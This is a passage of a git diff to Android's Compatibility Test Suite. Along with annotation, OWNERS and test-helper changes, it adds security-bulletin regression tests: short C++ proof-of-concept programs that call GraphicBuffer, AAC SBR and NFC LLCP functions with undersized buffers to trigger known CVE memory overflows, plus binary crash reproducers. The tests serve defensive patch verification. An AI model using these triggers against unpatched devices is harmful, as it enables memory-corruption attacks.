         String[] requiredLibs = add(mPublicLibraries);
@@ -505,6 +517,7 @@
         runInstalledTestApp();
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testNewAppDependsOnAllPublicLibraries() throws Exception {
         String[] requiredLibs = add(mPublicLibraries);
@@ -521,6 +534,7 @@
     // Tests for when apps depend on some public libraries
     ///////////////////////////////////////////////////////////////////////////
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testOldAppDependsOnSomePublicLibraries() throws Exception {
         // select the first half of the public lib
@@ -534,6 +548,7 @@
         runInstalledTestApp();
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testNewAppDependsOnSomePublicLibraries() throws Exception {
         String[] requiredLibs = add(mSomePublicLibraries);
@@ -549,6 +564,7 @@
         runInstalledTestApp();
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testNewAppOptionallyDependsOnSomePublicLibraries() throws Exception {
         // select the first half of the public lib
diff --git a/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
index c4af778..17cbfd3 100644
--- a/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
+++ b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
@@ -21,6 +21,7 @@
 import static org.hamcrest.core.Is.is;
 
 import android.os.Build;
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
 
 import androidx.test.core.app.ApplicationProvider;
@@ -84,6 +85,7 @@
     /**
      * Tests if libs listed in available.txt are all loadable
      */
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testAvailableLibrariesAreLoaded() {
         List<String> unexpected = new ArrayList<>();
@@ -111,6 +113,7 @@
     /**
      * Tests if libs listed in unavailable.txt are all non-loadable
      */
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testUnavailableLibrariesAreNotLoaded() {
         List<String> loadedLibs = new ArrayList<>();
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 8a0e441..e72446f 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -1,13 +1,11 @@
 # Bug component: 1344
 elaurent@google.com
 lajos@google.com
-marcone@google.com
 sungsoo@google.com
 jaewan@google.com
 
-# LON
-olly@google.com
-andrewlewis@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
 
 # Media TV
 nchalko@google.com
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
index 7dc17f4..c0240dd 100644
--- a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -17,6 +17,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.cts.statsdatom.lib.ReportUtils;
 import android.stats.mediametrics_message.MediametricsMessage;
 
 import com.android.internal.os.StatsdConfigProto;
@@ -162,12 +163,7 @@
     private MediametricsMessage.ExtractorData getMediaExtractorReportedData() throws Exception {
         ConfigMetricsReportList reportList = getAndClearReportList();
         assertThat(reportList.getReportsCount()).isEqualTo(1);
-        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
-        ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
-        report.getMetricsList()
-                .forEach(
-                        statsLogReport ->
-                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
         List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
                 data.stream()
                         .map(element -> element.getAtom().getMediametricsExtractorReported())
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
index 216b1c4..98e8f8f 100644
--- a/hostsidetests/mediaparser/Android.bp
+++ b/hostsidetests/mediaparser/Android.bp
@@ -36,6 +36,7 @@
     ],
     static_libs: [
         "cts-host-utils",
+        "cts-statsd-atom-host-test-utils",
     ],
     data: [
       ":CtsMediaParserTestCasesApp",
diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS
index 51256bf..b91d177 100644
--- a/hostsidetests/mediaparser/OWNERS
+++ b/hostsidetests/mediaparser/OWNERS
@@ -1,5 +1,3 @@
 # Bug component: 817235
-aquilescanta@google.com
-andrewlewis@google.com
-essick@google.com
-marcone@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
index 1e5c856..50bfa84 100644
--- a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -18,6 +18,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.cts.statsdatom.lib.ReportUtils;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.internal.os.StatsdConfigProto;
@@ -272,16 +274,8 @@
     private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
         ConfigMetricsReportList reportList = getAndClearReportList();
         assertThat(reportList.getReportsCount()).isEqualTo(1);
-        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
-        ArrayList<EventMetricData> data = new ArrayList<>();
-        report.getMetricsList()
-                .forEach(
-                        statsLogReport ->
-                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
-        // We sort the reported events by the elapsed timestamp so as to ensure they are returned
-        // in the same order as they were generated by the CTS tests.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
         return data.stream()
-                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
                 .map(event -> event.getAtom().getMediametricsMediaparserReported())
                 .collect(Collectors.toList());
     }
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index de23596..99f7e5b 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -43,6 +43,9 @@
 import androidx.test.uiautomator.Direction;
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiObjectNotFoundException;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
 import androidx.test.uiautomator.Until;
 
 import org.junit.After;
@@ -60,7 +63,10 @@
     private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
     private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
 
-    private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
+    private static final String BUTTON_ALWAYS_RES_ID = "android:id/button_always";
+    private static final BySelector BUTTON_ALWAYS = By.res(BUTTON_ALWAYS_RES_ID);
+    private static final UiSelector BUTTON_ALWAYS_UI_SELECTOR =
+            new UiSelector().resourceId(BUTTON_ALWAYS_RES_ID);
     private static final BySelector RESOLVER_DIALOG = By.res(Pattern.compile(".*:id/contentPanel.*"));
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(60L);
@@ -276,6 +282,9 @@
     }
 
     private void verifyDialogIsShown(boolean shouldBeShown) {
+        if (Utils.hasFeature(FEATURE_WEARABLE)) {
+            scrollToSelectorOnWatch(BUTTON_ALWAYS_UI_SELECTOR);
+        }
         UiObject2 buttonAlways = getUiDevice().wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT);
 
         if (shouldBeShown) {
@@ -298,20 +307,48 @@
                 .wait(Until.findObject(RESOLVER_DIALOG), TIMEOUT)
                 .swipe(Direction.UP, 1f);
         } else {
-            getUiDevice()
-                .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT)
-                .swipe(Direction.RIGHT, 1f);
+            scrollToSelectorOnWatch(new UiSelector().text(label));
         }
-
         return getUiDevice().findObject(By.text(label));
     }
 
     private void chooseUseAlways() {
+        if (Utils.hasFeature(FEATURE_WEARABLE)) {
+            scrollToSelectorOnWatch(BUTTON_ALWAYS_UI_SELECTOR);
+        }
         getUiDevice()
                 .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT)
                 .click();
     }
 
+    private void scrollToSelectorOnWatch(UiSelector selector) {
+        try {
+            int resId = Resources.getSystem().getIdentifier(
+                    "config_customResolverActivity", "string", "android");
+            String customResolverActivity = context().getString(resId);
+            String customResolverPackageName;
+            if (customResolverActivity.isEmpty()) {
+                // If custom resolver is not in use, it'll be using the Android default
+                customResolverPackageName = "android";
+            } else {
+                customResolverPackageName = customResolverActivity.split("/")[0];
+            }
+
+            UiSelector scrollableSelector =
+                    new UiSelector()
+                            .scrollable(true)
+                            .packageName(customResolverPackageName);
+            UiScrollable scrollable = new UiScrollable(scrollableSelector);
+            scrollable.waitForExists(TIMEOUT);
+            if (scrollable.exists()) {
+                scrollable.scrollToBeginning(Integer.MAX_VALUE);
+                scrollable.scrollIntoView(selector);
+            }
+        } catch (UiObjectNotFoundException ignore) {
+            throw new AssertionError("Scrollable view was lost.");
+        }
+    }
+
     private interface TestStrategy {
         void prepareMimeGroups();
 
diff --git a/hostsidetests/packagemanager/stats/.gitignore b/hostsidetests/packagemanager/stats/.gitignore
new file mode 120000
index 0000000..b28cd14
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/.gitignore
@@ -0,0 +1 @@
+../../../../tools/asuite/aidegen/data/gitignore_template
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
index 0fb546f..5f010fd 100644
--- a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
+++ b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
@@ -48,6 +48,10 @@
         if (!DeviceUtils.hasFeature(getDevice(), FEATURE_INCREMENTAL_DELIVERY)) {
             return;
         }
+        // TODO(b/197784344): remove when the metrics supports multi-user
+        if (getDevice().isUserSecondary(getDevice().getCurrentUser())) {
+            return;
+        }
         ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 AtomsProto.Atom.INSTALLED_INCREMENTAL_PACKAGE_FIELD_NUMBER);
         installPackageUsingIncremental(new String[]{TEST_INSTALL_APK});
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
index 3c7da37..292b85e 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
@@ -58,6 +58,7 @@
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -275,6 +276,7 @@
      * redacted mode.
      **/
     @Test
+    @Ignore("Enable when b/194700183 is fixed")
     public void testSharedRedactedUri_openFileForRead() throws Exception {
         forceStopApp(APP_B_NO_PERMS.getPackageName());
         final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
diff --git a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
index 20afc7d..d9da47a 100644
--- a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
+++ b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
@@ -56,6 +56,13 @@
         if (PropertyUtil.getFirstApiLevel(mDevice) <= 29) {
           return; // Requirement does not apply to devices running Q or earlier
         }
+        if (PropertyUtil.propertyEquals(mDevice, "ro.crypto.type", "managed")) {
+          // Android is running in a virtualized environment and the file
+          // system is encrypted by the host system.
+          // Note: All encryption-related CDD requirements still must be met,
+          // but they can't be tested directly in this case.
+          return;
+        }
         assertTrue("Metadata encryption must be enabled",
             mDevice.getBooleanProperty("ro.crypto.metadata.enabled", false));
     }
diff --git a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
index e670426..c6ea1b8 100644
--- a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
+++ b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
@@ -136,6 +136,7 @@
     }
 
     public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
-        assertSeccompFilter("media.codec", PS_CMD, false);
+        // 64bit only devices don't have 32bit only media.codec (omx)
+        assertSeccompFilter("media.codec", PS_CMD, false, false /* mustHaveProcess */);
     }
 }
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
index 28ce2a5..5e566ca 100644
--- a/hostsidetests/securitybulletin/OWNERS
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -1,5 +1,5 @@
 # Bug component: 36824
-mspector@google.com
-manjaepark@google.com
+musashi@google.com
 cdombroski@google.com
 lgallegos@google.com
+hubers@google.com
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi
new file mode 100644
index 0000000..18edf22
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi
new file mode 100644
index 0000000..12c77ef
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi
new file mode 100644
index 0000000..bc685eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi
new file mode 100644
index 0000000..9491607
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0689.png b/hostsidetests/securitybulletin/res/cve_2021_0689.png
new file mode 100644
index 0000000..7c91e48
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0689.png
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0921.txt b/hostsidetests/securitybulletin/res/cve_2021_0921.txt
new file mode 100644
index 0000000..6a151af
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0921.txt
@@ -0,0 +1 @@
+This is cve_2021_0921.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0925 b/hostsidetests/securitybulletin/res/cve_2021_0925
new file mode 100644
index 0000000..be9690c
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0925
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
similarity index 76%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
index 7b410b7..1ca3f7e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
@@ -16,7 +16,16 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9547",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libui",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp
new file mode 100644
index 0000000..7ec82f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ui/GraphicBuffer.h>
+#include "../includes/memutils.h"
+
+int main() {
+    size_t size = sizeof(int) * 6;
+    int *tempBuffer = (int *)malloc(size);
+    if (!tempBuffer) {
+        return EXIT_FAILURE;
+    }
+    memset(tempBuffer, 0x0, size);
+    tempBuffer[0] = 'GB01';
+    void const *buffer = const_cast<void const *>((void *)tempBuffer);
+    int const fds[] = {0, 0};
+    size_t count = sizeof(fds) / sizeof(int);
+    int const *fd = const_cast<int const *>(fds);
+    android::GraphicBuffer *graphicBuffer = new android::GraphicBuffer();
+    graphicBuffer->unflatten(buffer, size, fd, count);
+    free(tempBuffer);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/Android.bp
new file mode 100644
index 0000000..5b9e6dd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name : "CVE-2018-9549",
+    defaults : ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs : [
+        "poc.cpp",
+    ],
+    shared_libs : [
+        "libbluetooth",
+    ],
+    include_dirs : [
+        "external/aac/libSBRdec/src",
+        "external/aac/libSBRdec/include",
+        "external/aac/libFDK/include",
+        "external/aac/libSYS/include",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/poc.cpp
new file mode 100644
index 0000000..11165d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/poc.cpp
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "lpp_tran.h"
+
+constexpr uint8_t kDegreeAliasMaxSize = 64;
+
+int main() {
+    FIXP_DBL qmfBufferRealVal = {};
+    FIXP_DBL *qmfBufferReal = &qmfBufferRealVal;
+    FIXP_DBL qmfBufferImagVal = {};
+    FIXP_DBL *qmfBufferImag = &qmfBufferImagVal;
+    QMF_SCALE_FACTOR sbrScaleFactor = {};
+    FIXP_DBL degreeAlias[kDegreeAliasMaxSize] = {};
+
+    SBR_LPP_TRANS hLppTransVal = {};
+    HANDLE_SBR_LPP_TRANS hLppTrans = &hLppTransVal;
+    TRANSPOSER_SETTINGS settings = {};
+    for (int32_t i = 0; i < MAX_NUM_NOISE_VALUES; ++i) {
+        settings.bwBorders[i] = 64;
+    }
+    settings.nCols = 1;
+    hLppTrans->pSettings = &settings;
+
+    lppTransposer(hLppTrans, &sbrScaleFactor, &qmfBufferReal, degreeAlias, &qmfBufferImag, 1, 0, 0,
+                  0, 0, 0, 0, nullptr, nullptr);
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
index 7b410b7..4af3fe4 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
@@ -16,7 +16,22 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9564",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp
new file mode 100644
index 0000000..f853475
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <llcp_api.h>
+
+#define DEFAULT_VALUE 0x02
+#define SIZE 16
+#define LENGTH 1
+
+extern bool llcp_util_parse_link_params(uint16_t length, uint8_t* p_bytes);
+
+int main() {
+  const int32_t offset = SIZE - LENGTH;
+  uint8_t* p_bytes = (uint8_t *)malloc(SIZE);
+  if (!p_bytes) {
+    return EXIT_FAILURE;
+  }
+  memset(p_bytes, DEFAULT_VALUE, SIZE);
+
+  llcp_util_parse_link_params(LENGTH, &p_bytes[offset]);
+
+  free(p_bytes);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
index 7b410b7..68def73 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
@@ -16,7 +16,23 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9593",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp
new file mode 100644
index 0000000..25b2fb6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include "llcp_int.h"
+
+#define SIZE 16
+#define LENGTH 1
+
+extern tLLCP_CB llcp_cb;
+void llcp_init(void);
+
+int main() {
+  GKI_init();
+  llcp_init();
+  uint8_t *p_i_pdu = (uint8_t *)malloc(SIZE);
+  if (!p_i_pdu) {
+    return EXIT_FAILURE;
+  }
+
+  llcp_cb.dlcb[0].state = LLCP_DLC_STATE_CONNECTED;
+  llcp_dlc_proc_i_pdu(llcp_cb.dlcb[0].local_sap, llcp_cb.dlcb[0].remote_sap, LENGTH,
+                      &p_i_pdu[SIZE - LENGTH], nullptr);
+
+  free(p_i_pdu);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
index 7b410b7..9d4946f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
@@ -16,7 +16,23 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9594",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp
new file mode 100644
index 0000000..4a5b163
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <llcp_int.h>
+#include <nfc_int.h>
+
+extern tLLCP_CB llcp_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+void llcp_init(void);
+
+int main() {
+  GKI_init();
+  rw_init();
+  llcp_init();
+
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    return EXIT_FAILURE;
+  }
+  p_data->data.p_data = (NFC_HDR *)malloc(16400 * sizeof(uint8_t));
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    return EXIT_FAILURE;
+  }
+  nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+  if (!(nfc_cb.quick_timer_queue.p_first)) {
+    free(p_data);
+    free(p_data->data.p_data);
+    return EXIT_FAILURE;
+  }
+
+  uint8_t conn_id = 1;
+  llcp_cb.lcb.agreed_major_version = LLCP_MIN_SNL_MAJOR_VERSION;
